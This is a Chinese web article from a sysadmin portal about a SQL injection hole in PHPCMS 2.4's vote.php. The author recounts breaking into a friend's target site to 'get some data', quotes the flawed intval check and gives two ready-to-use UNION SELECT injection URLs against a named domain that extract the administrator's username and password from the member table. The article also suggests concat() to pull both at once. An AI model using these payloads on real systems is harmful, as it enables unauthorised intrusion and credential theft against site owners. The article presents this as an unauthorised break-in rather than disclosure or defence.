网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > 漏洞分析 > PHPCMS2.4中一个有趣的洞洞  

PHPCMS2.4中一个有趣的洞洞

2008-06-27  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

今天,朋友丢来一个站,说想拿点资料,但搞了很久老搞不下,叫我帮忙看看
打开一看发现是phpcms2.4,很旧的版本了~~
搞了一下发现存在“上传漏洞”和“远程文件包含漏洞”的页面都被删了,晕,自己挖个把,反正版本旧
挖了1个多小时,发现vote.php中有这样一段代码:
...省略....
case 'result':
if(!intval($voteid)){
message('参数错误!',$PHP_REFERER);
}  
$query = $db->query("SELECT * FROM $table_vote_subject where voteid='$voteid' and passed=1");
$vote=$db->fetch_array($query);
$subject=$vote[subject];
$totalnumber=$vote[totalnumber];
$fromdate=date("Y-m-d",$vote[fromtime]);
$todate=$vote[totime] ? date("Y-m-d",$vote[totime]) : "";
$query = $db->query("SELECT * FROM $table_vote_option where voteid='$voteid'");
while($op=$db->fetch_array($query)){
$op[percent1]=$totalnumber ? round(100*$op[number]/$vote[totalnumber],2)."%" : "0%";
网管网www_bitscn_com

$op[percent2]=$totalnumber ? (100-round(100*$op[number]/$vote[totalnumber],0))."%" : "100%";
$ops[]=$op;
}
include template('vote_result');
break;
}
....省略....
代码没问题把?真的吗?再仔细看看!!
“if(!intval($voteid))” 这句代码的意思是啥?
如果提交过来的数据是整型并且不存在于数据库中的话,就返回“参数错误”。
那如果我们提交的数据不是整型呢?如果我们提交的数据不是整型,那么不管提交的数据是否存在于数据库中都不会返回“参数错误”的提示了,这样,注入漏洞就产生了~~哈哈
分别提交
“http://www.cndrt.cn/vote.php?action=result&;voteid=8%20and%201=2%20union%20select%201,username,3,4,5,6,7,8,9,10,11,12,13%20from%20phpcms_member%20where%20userid=1/*””
“http://www.cndrt.cn/vote.php?action=result&;voteid=8%20and%201=2%20union%20select%201,password,3,4,5,6,7,8,9,10,11,12,13%20from%20phpcms_member%20where%20userid=1/*””
就能查出管理员了
当然你也可以用concat()把账号密码同时抓出来~

TAGs   有趣   一个   "   vote   voteid   query   '   totalnumber      
 上一篇:hzhost虚拟主机系统致命漏洞   下一篇:世界之窗等浏览器本地xss跨域漏洞POC
PHPCMS2.4中一个有趣的洞洞 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: